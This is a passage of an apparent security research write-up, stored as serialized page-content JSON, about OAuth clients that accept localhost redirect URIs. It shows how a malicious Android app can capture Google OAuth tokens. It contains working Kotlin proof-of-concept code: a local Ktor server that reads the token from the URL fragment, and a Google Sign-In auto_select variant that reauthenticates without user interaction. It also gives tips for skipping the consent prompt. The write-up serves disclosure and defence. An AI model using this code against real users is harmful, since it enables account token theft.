on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":20944,"props":101886,"children":101888},{"id":101887},"exploit",[101889],{"type":29,"value":101890},"Exploit",{"type":23,"tag":32,"props":101892,"children":101893},{},[101894,101896,101901,101902,101908],{"type":29,"value":101895},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":154,"props":101897,"children":101899},{"className":101898},[],[101900],{"type":29,"value":101758},{"type":29,"value":15180},{"type":23,"tag":154,"props":101903,"children":101905},{"className":101904},[],[101906],{"type":29,"value":101907},"location.search",{"type":29,"value":101909},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":4743,"props":101911,"children":101915},{"className":101912,"code":101913,"language":101914,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[101916],{"type":23,"tag":154,"props":101917,"children":101918},{"__ignoreMap":7},[101919,101948,101967,101974,101981,102000,102011,102022,102053,102076,102123,102130,102137,102144,102151,102171,102202,102213,102220,102227,102246,102269,102280,102299,102314,102325,102348,102383,102402,102409,102420,102443,102454,102466,102473,102480,102487,102494,102501,102528],{"type":23,"tag":504,"props":101920,"children":101921},{"class":5016,"line":5017},[101922,101927,101931,101935,101939,101943],{"type":23,"tag":504,"props":101923,"children":101924},{"style":5030},[101925],{"type":29,"value":101926}," override",{"type":23,"tag":504,"props":101928,"children":101929},{"style":5030},[101930],{"type":29,"value":8252},{"type":23,"tag":504,"props":101932,"children":101933},{"style":5139},[101934],{"type":29,"value":72517},{"type":23,"tag":504,"props":101936,"children":101937},{"style":5058},[101938],{"type":29,"value":72522},{"type":23,"tag":504,"props":101940,"children":101941},{"style":5467},[101942],{"type":29,"value":72527},{"type":23,"tag":504,"props":101944,"children":101945},{"style":5058},[101946],{"type":29,"value":101947},"?){\n",{"type":23,"tag":504,"props":101949,"children":101950},{"class":5016,"line":4868},[101951,101955,101959,101963],{"type":23,"tag":504,"props":101952,"children":101953},{"style":5030},[101954],{"type":29,"value":72540},{"type":23,"tag":504,"props":101956,"children":101957},{"style":5058},[101958],{"type":29,"value":357},{"type":23,"tag":504,"props":101960,"children":101961},{"style":5139},[101962],{"type":29,"value":72549},{"type":23,"tag":504,"props":101964,"children":101965},{"style":5058},[101966],{"type":29,"value":72554},{"type":23,"tag":504,"props":101968,"children":101969},{"class":5016,"line":4876},[101970],{"type":23,"tag":504,"props":101971,"children":101972},{"emptyLinePlaceholder":15},[101973],{"type":29,"value":5734},{"type":23,"tag":504,"props":101975,"children":101976},{"class":5016,"line":5099},[101977],{"type":23,"tag":504,"props":101978,"children":101979},{"style":5021},[101980],{"type":29,"value":72569},{"type":23,"tag":504,"props":101982,"children":101983},{"class":5016,"line":5203},[101984,101988,101992,101996],{"type":23,"tag":504,"props":101985,"children":101986},{"style":5139},[101987],{"type":29,"value":72577},{"type":23,"tag":504,"props":101989,"children":101990},{"style":5058},[101991],{"type":29,"value":72582},{"type":23,"tag":504,"props":101993,"children":101994},{"style":5139},[101995],{"type":29,"value":72587},{"type":23,"tag":504,"props":101997,"children":101998},{"style":5058},[101999],{"type":29,"value":5333},{"type":23,"tag":504,"props":102001,"children":102002},{"class":5016,"line":5308},[102003,102007],{"type":23,"tag":504,"props":102004,"children":102005},{"style":5067},[102006],{"type":29,"value":72599},{"type":23,"tag":504,"props":102008,"children":102009},{"style":5058},[102010],{"type":29,"value":5333},{"type":23,"tag":504,"props":102012,"children":102013},{"class":5016,"line":5336},[102014,102018],{"type":23,"tag":504,"props":102015,"children":102016},{"style":5139},[102017],{"type":29,"value":72611},{"type":23,"tag":504,"props":102019,"children":102020},{"style":5058},[102021],{"type":29,"value":9780},{"type":23,"tag":504,"props":102023,"children":102024},{"class":5016,"line":5349},[102025,102029,102033,102037,102041,102045,102049],{"type":23,"tag":504,"props":102026,"children":102027},{"style":5058},[102028],{"type":29,"value":72623},{"type":23,"tag":504,"props":102030,"children":102031},{"style":5139},[102032],{"type":29,"value":584},{"type":23,"tag":504,"props":102034,"children":102035},{"style":5058},[102036],{"type":29,"value":603},{"type":23,"tag":504,"props":102038,"children":102039},{"style":6297},[102040],{"type":29,"value":72636},{"type":23,"tag":504,"props":102042,"children":102043},{"style":5058},[102044],{"type":29,"value":4367},{"type":23,"tag":504,"props":102046,"children":102047},{"style":6297},[102048],{"type":29,"value":72645},{"type":23,"tag":504,"props":102050,"children":102051},{"style":5058},[102052],{"type":29,"value":5200},{"type":23,"tag":504,"props":102054,"children":102055},{"class":5016,"line":5367},[102056,102060,102064,102068,102072],{"type":23,"tag":504,"props":102057,"children":102058},{"style":5058},[102059],{"type":29,"value":72657},{"type":23,"tag":504,"props":102061,"children":102062},{"style":5030},[102063],{"type":29,"value":50474},{"type":23,"tag":504,"props":102065,"children":102066},{"style":5058},[102067],{"type":29,"value":72666},{"type":23,"tag":504,"props":102069,"children":102070},{"style":5467},[102071],{"type":29,"value":72671},{"type":23,"tag":504,"props":102073,"children":102074},{"style":5058},[102075],{"type":29,"value":16850},{"type":23,"tag":504,"props":102077,"children":102078},{"class":5016,"line":5388},[102079,102083,102087,102091,102095,102099,102103,102107,102111,102115,102119],{"type":23,"tag":504,"props":102080,"children":102081},{"style":5058},[102082],{"type":29,"value":72623},{"type":23,"tag":504,"props":102084,"children":102085},{"style":5139},[102086],{"type":29,"value":1132},{"type":23,"tag":504,"props":102088,"children":102089},{"style":5058},[102090],{"type":29,"value":603},{"type":23,"tag":504,"props":102092,"children":102093},{"style":6297},[102094],{"type":29,"value":72636},{"type":23,"tag":504,"props":102096,"children":102097},{"style":5058},[102098],{"type":29,"value":4367},{"type":23,"tag":504,"props":102100,"children":102101},{"style":6297},[102102],{"type":29,"value":72703},{"type":23,"tag":504,"props":102104,"children":102105},{"style":5030},[102106],{"type":29,"value":36164},{"type":23,"tag":504,"props":102108,"children":102109},{"style":5047},[102110],{"type":29,"value":72712},{"type":23,"tag":504,"props":102112,"children":102113},{"style":5030},[102114],{"type":29,"value":36196},{"type":23,"tag":504,"props":102116,"children":102117},{"style":6297},[102118],{"type":29,"value":22112},{"type":23,"tag":504,"props":102120,"children":102121},{"style":5058},[102122],{"type":29,"value":72725},{"type":23,"tag":504,"props":102124,"children":102125},{"class":5016,"line":5397},[102126],{"type":23,"tag":504,"props":102127,"children":102128},{"style":5058},[102129],{"type":29,"value":60946},{"type":23,"tag":504,"props":102131,"children":102132},{"class":5016,"line":5649},[102133],{"type":23,"tag":504,"props":102134,"children":102135},{"style":5058},[102136],{"type":29,"value":5394},{"type":23,"tag":504,"props":102138,"children":102139},{"class":5016,"line":5666},[102140],{"type":23,"tag":504,"props":102141,"children":102142},{"emptyLinePlaceholder":15},[102143],{"type":29,"value":5734},{"type":23,"tag":504,"props":102145,"children":102146},{"class":5016,"line":5683},[102147],{"type":23,"tag":504,"props":102148,"children":102149},{"style":5021},[102150],{"type":29,"value":72754},{"type":23,"tag":504,"props":102152,"children":102153},{"class":5016,"line":5696},[102154,102158,102162,102166],{"type":23,"tag":504,"props":102155,"children":102156},{"style":5030},[102157],{"type":29,"value":72762},{"type":23,"tag":504,"props":102159,"children":102160},{"style":5058},[102161],{"type":29,"value":72767},{"type":23,"tag":504,"props":102163,"children":102164},{"style":5047},[102165],{"type":29,"value":546},{"type":23,"tag":504,"props":102167,"children":102168},{"style":6297},[102169],{"type":29,"value":102170}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":504,"props":102172,"children":102173},{"class":5016,"line":5705},[102174,102178,102182,102186,102190,102194,102198],{"type":23,"tag":504,"props":102175,"children":102176},{"style":5030},[102177],{"type":29,"value":72762},{"type":23,"tag":504,"props":102179,"children":102180},{"style":5058},[102181],{"type":29,"value":72788},{"type":23,"tag":504,"props":102183,"children":102184},{"style":5047},[102185],{"type":29,"value":546},{"type":23,"tag":504,"props":102187,"children":102188},{"style":5139},[102189],{"type":29,"value":72797},{"type":23,"tag":504,"props":102191,"children":102192},{"style":5058},[102193],{"type":29,"value":72802},{"type":23,"tag":504,"props":102195,"children":102196},{"style":5139},[102197],{"type":29,"value":41268},{"type":23,"tag":504,"props":102199,"children":102200},{"style":5058},[102201],{"type":29,"value":72811},{"type":23,"tag":504,"props":102203,"children":102204},{"class":5016,"line":5728},[102205,102209],{"type":23,"tag":504,"props":102206,"children":102207},{"style":5139},[102208],{"type":29,"value":72819},{"type":23,"tag":504,"props":102210,"children":102211},{"style":5058},[102212],{"type":29,"value":72824},{"type":23,"tag":504,"props":102214,"children":102215},{"class":5016,"line":5737},[102216],{"type":23,"tag":504,"props":102217,"children":102218},{"style":5058},[102219],{"type":29,"value":5403},{"type":23,"tag":504,"props":102221,"children":102222},{"class":5016,"line":5746},[102223],{"type":23,"tag":504,"props":102224,"children":102225},{"emptyLinePlaceholder":15},[102226],{"type":29,"value":5734},{"type":23,"tag":504,"props":102228,"children":102229},{"class":5016,"line":5813},[102230,102234,102238,102242],{"type":23,"tag":504,"props":102231,"children":102232},{"style":5030},[102233],{"type":29,"value":72846},{"type":23,"tag":504,"props":102235,"children":102236},{"style":5030},[102237],{"type":29,"value":8252},{"type":23,"tag":504,"props":102239,"children":102240},{"style":5139},[102241],{"type":29,"value":72855},{"type":23,"tag":504,"props":102243,"children":102244},{"style":5058},[102245],{"type":29,"value":17783},{"type":23,"tag":504,"props":102247,"children":102248},{"class":5016,"line":5821},[102249,102253,102257,102261,102265],{"type":23,"tag":504,"props":102250,"children":102251},{"style":5139},[102252],{"type":29,"value":72867},{"type":23,"tag":504,"props":102254,"children":102255},{"style":5058},[102256],{"type":29,"value":72872},{"type":23,"tag":504,"props":102258,"children":102259},{"style":5047},[102260],{"type":29,"value":546},{"type":23,"tag":504,"props":102262,"children":102263},{"style":5083},[102264],{"type":29,"value":72881},{"type":23,"tag":504,"props":102266,"children":102267},{"style":5058},[102268],{"type":29,"value":16850},{"type":23,"tag":504,"props":102270,"children":102271},{"class":5016,"line":5851},[102272,102276],{"type":23,"tag":504,"props":102273,"children":102274},{"style":5139},[102275],{"type":29,"value":72893},{"type":23,"tag":504,"props":102277,"children":102278},{"style":5058},[102279],{"type":29,"value":5333},{"type":23,"tag":504,"props":102281,"children":102282},{"class":5016,"line":5859},[102283,102287,102291,102295],{"type":23,"tag":504,"props":102284,"children":102285},{"style":5030},[102286],{"type":29,"value":72905},{"type":23,"tag":504,"props":102288,"children":102289},{"style":5058},[102290],{"type":29,"value":603},{"type":23,"tag":504,"props":102292,"children":102293},{"style":6297},[102294],{"type":29,"value":72914},{"type":23,"tag":504,"props":102296,"children":102297},{"style":5058},[102298],{"type":29,"value":16850},{"type":23,"tag":504,"props":102300,"children":102301},{"class":5016,"line":5891},[102302,102306,102310],{"type":23,"tag":504,"props":102303,"children":102304},{"style":5058},[102305],{"type":29,"value":72926},{"type":23,"tag":504,"props":102307,"children":102308},{"style":5139},[102309],{"type":29,"value":72931},{"type":23,"tag":504,"props":102311,"children":102312},{"style":5058},[102313],{"type":29,"value":5333},{"type":23,"tag":504,"props":102315,"children":102316},{"class":5016,"line":5899},[102317,102321],{"type":23,"tag":504,"props":102318,"children":102319},{"style":5139},[102320],{"type":29,"value":72943},{"type":23,"tag":504,"props":102322,"children":102323},{"style":5058},[102324],{"type":29,"value":5333},{"type":23,"tag":504,"props":102326,"children":102327},{"class":5016,"line":5959},[102328,102332,102336,102340,102344],{"type":23,"tag":504,"props":102329,"children":102330},{"style":5139},[102331],{"type":29,"value":72955},{"type":23,"tag":504,"props":102333,"children":102334},{"style":5058},[102335],{"type":29,"value":72960},{"type":23,"tag":504,"props":102337,"children":102338},{"style":5047},[102339],{"type":29,"value":546},{"type":23,"tag":504,"props":102341,"children":102342},{"style":6297},[102343],{"type":29,"value":72969},{"type":23,"tag":504,"props":102345,"children":102346},{"style":5058},[102347],{"type":29,"value":5200},{"type":23,"tag":504,"props":102349,"children":102350},{"class":5016,"line":11093},[102351,102355,102359,102363,102367,102371,102375,102379],{"type":23,"tag":504,"props":102352,"children":102353},{"style":5139},[102354],{"type":29,"value":72955},{"type":23,"tag":504,"props":102356,"children":102357},{"style":5058},[102358],{"type":29,"value":72985},{"type":23,"tag":504,"props":102360,"children":102361},{"style":5047},[102362],{"type":29,"value":546},{"type":23,"tag":504,"props":102364,"children":102365},{"style":6297},[102366],{"type":29,"value":72994},{"type":23,"tag":504,"props":102368,"children":102369},{"style":5058},[102370],{"type":29,"value":72999},{"type":23,"tag":504,"props":102372,"children":102373},{"style":5047},[102374],{"type":29,"value":546},{"type":23,"tag":504,"props":102376,"children":102377},{"style":6297},[102378],{"type":29,"value":73008},{"type":23,"tag":504,"props":102380,"children":102381},{"style":5058},[102382],{"type":29,"value":5200},{"type":23,"tag":504,"props":102384,"children":102385},{"class":5016,"line":11111},[102386,102390,102394,102398],{"type":23,"tag":504,"props":102387,"children":102388},{"style":5139},[102389],{"type":29,"value":73020},{"type":23,"tag":504,"props":102391,"children":102392},{"style":5058},[102393],{"type":29,"value":603},{"type":23,"tag":504,"props":102395,"children":102396},{"style":6297},[102397],{"type":29,"value":73029},{"type":23,"tag":504,"props":102399,"children":102400},{"style":5058},[102401],{"type":29,"value":5200},{"type":23,"tag":504,"props":102403,"children":102404},{"class":5016,"line":11156},[102405],{"type":23,"tag":504,"props":102406,"children":102407},{"style":5058},[102408],{"type":29,"value":73041},{"type":23,"tag":504,"props":102410,"children":102411},{"class":5016,"line":11262},[102412,102416],{"type":23,"tag":504,"props":102413,"children":102414},{"style":5139},[102415],{"type":29,"value":73049},{"type":23,"tag":504,"props":102417,"children":102418},{"style":5058},[102419],{"type":29,"value":5333},{"type":23,"tag":504,"props":102421,"children":102422},{"class":5016,"line":25550},[102423,102427,102431,102435,102439],{"type":23,"tag":504,"props":102424,"children":102425},{"style":5139},[102426],{"type":29,"value":73061},{"type":23,"tag":504,"props":102428,"children":102429},{"style":5058},[102430],{"type":29,"value":11633},{"type":23,"tag":504,"props":102432,"children":102433},{"style":5047},[102434],{"type":29,"value":6422},{"type":23,"tag":504,"props":102436,"children":102437},{"style":6297},[102438],{"type":29,"value":73074},{"type":23,"tag":504,"props":102440,"children":102441},{"style":5058},[102442],{"type":29,"value":11642},{"type":23,"tag":504,"props":102444,"children":102445},{"class":5016,"line":25585},[102446,102450],{"type":23,"tag":504,"props":102447,"children":102448},{"style":5139},[102449],{"type":29,"value":73086},{"type":23,"tag":504,"props":102451,"children":102452},{"style":5058},[102453],{"type":29,"value":5333},{"type":23,"tag":504,"props":102455,"children":102456},{"class":5016,"line":25593},[102457,102461],{"type":23,"tag":504,"props":102458,"children":102459},{"style":5047},[102460],{"type":29,"value":73098},{"type":23,"tag":504,"props":102462,"children":102463},{"style":6297},[102464],{"type":29,"value":102465},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":504,"props":102467,"children":102468},{"class":5016,"line":25601},[102469],{"type":23,"tag":504,"props":102470,"children":102471},{"style":5058},[102472],{"type":29,"value":73111},{"type":23,"tag":504,"props":102474,"children":102475},{"class":5016,"line":25610},[102476],{"type":23,"tag":504,"props":102477,"children":102478},{"style":5058},[102479],{"type":29,"value":73041},{"type":23,"tag":504,"props":102481,"children":102482},{"class":5016,"line":25652},[102483],{"type":23,"tag":504,"props":102484,"children":102485},{"style":5058},[102486],{"type":29,"value":73126},{"type":23,"tag":504,"props":102488,"children":102489},{"class":5016,"line":25685},[102490],{"type":23,"tag":504,"props":102491,"children":102492},{"style":5058},[102493],{"type":29,"value":73134},{"type":23,"tag":504,"props":102495,"children":102496},{"class":5016,"line":25693},[102497],{"type":23,"tag":504,"props":102498,"children":102499},{"style":5058},[102500],{"type":29,"value":60946},{"type":23,"tag":504,"props":102502,"children":102503},{"class":5016,"line":25701},[102504,102508,102512,102516,102520,102524],{"type":23,"tag":504,"props":102505,"children":102506},{"style":5058},[102507],{"type":29,"value":73149},{"type":23,"tag":504,"props":102509,"children":102510},{"style":5139},[102511],{"type":29,"value":73154},{"type":23,"tag":504,"props":102513,"children":102514},{"style":5058},[102515],{"type":29,"value":73159},{"type":23,"tag":504,"props":102517,"children":102518},{"style":5047},[102519],{"type":29,"value":546},{"type":23,"tag":504,"props":102521,"children":102522},{"style":5030},[102523],{"type":29,"value":14515},{"type":23,"tag":504,"props":102525,"children":102526},{"style":5058},[102527],{"type":29,"value":5200},{"type":23,"tag":504,"props":102529,"children":102530},{"class":5016,"line":25710},[102531],{"type":23,"tag":504,"props":102532,"children":102533},{"style":5058},[102534],{"type":29,"value":5403},{"type":23,"tag":32,"props":102536,"children":102537},{},[102538],{"type":29,"value":102539},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":32,"props":102541,"children":102542},{},[102543,102545,102551],{"type":29,"value":102544},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":154,"props":102546,"children":102548},{"className":102547},[],[102549],{"type":29,"value":102550},"auto_select",{"type":29,"value":102552}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":4743,"props":102554,"children":102556},{"className":101912,"code":102555,"language":101914,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[102557],{"type":23,"tag":154,"props":102558,"children":102559},{"__ignoreMap":7},[102560,102587,102606,102613,102632,102643,102654,102685,102708,102755,102762,102769,102776,102816,102827,102834,102841,102860,102883,102894,102913,102928,102939,102959,102970,102987,103013,103037,103044,103055,103067,103080,103088,103096,103103,103110,103118,103126,103134,103142,103150,103158,103166,103173,103180,103188,103196,103204,103211,103218,103226,103233,103254,103262,103269,103276,103287,103311,103323,103340,103347,103354,103362,103370,103378,103406],{"type":23,"tag":504,"props":102561,"children":102562},{"class":5016,"line":5017},[102563,102567,102571,102575,102579,102583],{"type":23,"tag":504,"props":102564,"children":102565},{"style":5030},[102566],{"type":29,"value":72508},{"type":23,"tag":504,"props":102568,"children":102569},{"style":5030},[102570],{"type":29,"value":8252},{"type":23,"tag":504,"props":102572,"children":102573},{"style":5139},[102574],{"type":29,"value":72517},{"type":23,"tag":504,"props":102576,"children":102577},{"style":5058},[102578],{"type":29,"value":72522},{"type":23,"tag":504,"props":102580,"children":102581},{"style":5467},[102582],{"type":29,"value":72527},{"type":23,"tag":504,"props":102584,"children":102585},{"style":5058},[102586],{"type":29,"value":72532},{"type":23,"tag":504,"props":102588,"children":102589},{"class":5016,"line":4868},[102590,102594,102598,102602],{"type":23,"tag":504,"props":102591,"children":102592},{"style":5030},[102593],{"type":29,"value":72540},{"type":23,"tag":504,"props":102595,"children":102596},{"style":5058},[102597],{"type":29,"value":357},{"type":23,"tag":504,"props":102599,"children":102600},{"style":5139},[102601],{"type":29,"value":72549},{"type":23,"tag":504,"props":102603,"children":102604},{"style":5058},[102605],{"type":29,"value":72554},{"type":23,"tag":504,"props":102607,"children":102608},{"class":5016,"line":4876},[102609],{"type":23,"tag":504,"props":102610,"children":102611},{"emptyLinePlaceholder":15},[102612],{"type":29,"value":5734},{"type":23,"tag":504,"props":102614,"children":102615},{"class":5016,"line":5099},[102616,102620,102624,102628],{"type":23,"tag":504,"props":102617,"children":102618},{"style":5139},[102619],{"type":29,"value":72577},{"type":23,"tag":504,"props":102621,"children":102622},{"style":5058},[102623],{"type":29,"value":72582},{"type":23,"tag":504,"props":102625,"children":102626},{"style":5139},[102627],{"type":29,"value":72587},{"type":23,"tag":504,"props":102629,"children":102630},{"style":5058},[102631],{"type":29,"value":5333},{"type":23,"tag":504,"props":102633,"children":102634},{"class":5016,"line":5203},[102635,102639],{"type":23,"tag":504,"props":102636,"children":102637},{"style":5067},[102638],{"type":29,"value":72599},{"type":23,"tag":504,"props":102640,"children":102641},{"style":5058},[102642],{"type":29,"value":5333},{"type":23,"tag":504,"props":102644,"children":102645},{"class":5016,"line":5308},[102646,102650],{"type":23,"tag":504,"props":102647,"children":102648},{"style":5139},[102649],{"type":29,"value":72611},{"type":23,"tag":504,"props":102651,"children":102652},{"style":5058},[102653],{"type":29,"value":9780},{"type":23,"tag":504,"props":102655,"children":102656},{"class":5016,"line":5336},[102657,102661,102665,102669,102673,102677,102681],{"type":23,"tag":504,"props":102658,"children":102659},{"style":5058},[102660],{"type":29,"value":72623},{"type":23,"tag":504,"props":102662,"children":102663},{"style":5139},[102664],{"type":29,"value":584},{"type":23,"tag":504,"props":102666,"children":102667},{"style":5058},[102668],{"type":29,"value":603},{"type":23,"tag":504,"props":102670,"children":102671},{"style":6297},[102672],{"type":29,"value":72636},{"type":23,"tag":504,"props":102674,"children":102675},{"style":5058},[102676],{"type":29,"value":4367},{"type":23,"tag":504,"props":102678,"children":102679},{"style":6297},[102680],{"type":29,"value":72645},{"type":23,"tag":504,"props":102682,"children":102683},{"style":5058},[102684],{"type":29,"value":5200},{"type":23,"tag":504,"props":102686,"children":102687},{"class":5016,"line":5349},[102688,102692,102696,102700,102704],{"type":23,"tag":504,"props":102689,"children":102690},{"style":5058},[102691],{"type":29,"value":72657},{"type":23,"tag":504,"props":102693,"children":102694},{"style":5030},[102695],{"type":29,"value":50474},{"type":23,"tag":504,"props":102697,"children":102698},{"style":5058},[102699],{"type":29,"value":72666},{"type":23,"tag":504,"props":102701,"children":102702},{"style":5467},[102703],{"type":29,"value":72671},{"type":23,"tag":504,"props":102705,"children":102706},{"style":5058},[102707],{"type":29,"value":16850},{"type":23,"tag":504,"props":102709,"children":102710},{"class":5016,"line":5367},[102711,102715,102719,102723,102727,102731,102735,102739,102743,102747,102751],{"type":23,"tag":504,"props":102712,"children":102713},{"style":5058},[102714],{"type":29,"value":72623},{"type":23,"tag":504,"props":102716,"children":102717},{"style":5139},[102718],{"type":29,"value":1132},{"type":23,"tag":504,"props":102720,"children":102721},{"style":5058},[102722],{"type":29,"value":603},{"type":23,"tag":504,"props":102724,"children":102725},{"style":6297},[102726],{"type":29,"value":72636},{"type":23,"tag":504,"props":102728,"children":102729},{"style":5058},[102730],{"type":29,"value":4367},{"type":23,"tag":504,"props":102732,"children":102733},{"style":6297},[102734],{"type":29,"value":72703},{"type":23,"tag":504,"props":102736,"children":102737},{"style":5030},[102738],{"type":29,"value":36164},{"type":23,"tag":504,"props":102740,"children":102741},{"style":5047},[102742],{"type":29,"value":72712},{"type":23,"tag":504,"props":102744,"children":102745},{"style":5030},[102746],{"type":29,"value":36196},{"type":23,"tag":504,"props":102748,"children":102749},{"style":6297},[102750],{"type":29,"value":22112},{"type":23,"tag":504,"props":102752,"children":102753},{"style":5058},[102754],{"type":29,"value":72725},{"type":23,"tag":504,"props":102756,"children":102757},{"class":5016,"line":5388},[102758],{"type":23,"tag":504,"props":102759,"children":102760},{"style":5058},[102761],{"type":29,"value":60946},{"type":23,"tag":504,"props":102763,"children":102764},{"class":5016,"line":5397},[102765],{"type":23,"tag":504,"props":102766,"children":102767},{"style":5058},[102768],{"type":29,"value":5394},{"type":23,"tag":504,"props":102770,"children":102771},{"class":5016,"line":5649},[102772],{"type":23,"tag":504,"props":102773,"children":102774},{"emptyLinePlaceholder":15},[102775],{"type":29,"value":5734},{"type":23,"tag":504,"props":102777,"children":102778},{"class":5016,"line":5666},[102779,102783,102787,102791,102795,102799,102803,102807,102812],{"type":23,"tag":504,"props":102780,"children":102781},{"style":5030},[102782],{"type":29,"value":72762},{"type":23,"tag":504,"props":102784,"children":102785},{"style":5058},[102786],{"type":29,"value":72788},{"type":23,"tag":504,"props":102788,"children":102789},{"style":5047},[102790],{"type":29,"value":546},{"type":23,"tag":504,"props":102792,"children":102793},{"style":5139},[102794],{"type":29,"value":72797},{"type":23,"tag":504,"props":102796,"children":102797},{"style":5058},[102798],{"type":29,"value":72802},{"type":23,"tag":504,"props":102800,"children":102801},{"style":5139},[102802],{"type":29,"value":41268},{"type":23,"tag":504,"props":102804,"children":102805},{"style":5058},[102806],{"type":29,"value":603},{"type":23,"tag":504,"props":102808,"children":102809},{"style":6297},[102810],{"type":29,"value":102811},"\"http://localhost:3000\"",{"type":23,"tag":504,"props":102813,"children":102814},{"style":5058},[102815],{"type":29,"value":21764},{"type":23,"tag":504,"props":102817,"children":102818},{"class":5016,"line":5683},[102819,102823],{"type":23,"tag":504,"props":102820,"children":102821},{"style":5139},[102822],{"type":29,"value":72819},{"type":23,"tag":504,"props":102824,"children":102825},{"style":5058},[102826],{"type":29,"value":72824},{"type":23,"tag":504,"props":102828,"children":102829},{"class":5016,"line":5696},[102830],{"type":23,"tag":504,"props":102831,"children":102832},{"style":5058},[102833],{"type":29,"value":5403},{"type":23,"tag":504,"props":102835,"children":102836},{"class":5016,"line":5705},[102837],{"type":23,"tag":504,"props":102838,"children":102839},{"emptyLinePlaceholder":15},[102840],{"type":29,"value":5734},{"type":23,"tag":504,"props":102842,"children":102843},{"class":5016,"line":5728},[102844,102848,102852,102856],{"type":23,"tag":504,"props":102845,"children":102846},{"style":5030},[102847],{"type":29,"value":72846},{"type":23,"tag":504,"props":102849,"children":102850},{"style":5030},[102851],{"type":29,"value":8252},{"type":23,"tag":504,"props":102853,"children":102854},{"style":5139},[102855],{"type":29,"value":72855},{"type":23,"tag":504,"props":102857,"children":102858},{"style":5058},[102859],{"type":29,"value":17783},{"type":23,"tag":504,"props":102861,"children":102862},{"class":5016,"line":5737},[102863,102867,102871,102875,102879],{"type":23,"tag":504,"props":102864,"children":102865},{"style":5139},[102866],{"type":29,"value":72867},{"type":23,"tag":504,"props":102868,"children":102869},{"style":5058},[102870],{"type":29,"value":72872},{"type":23,"tag":504,"props":102872,"children":102873},{"sty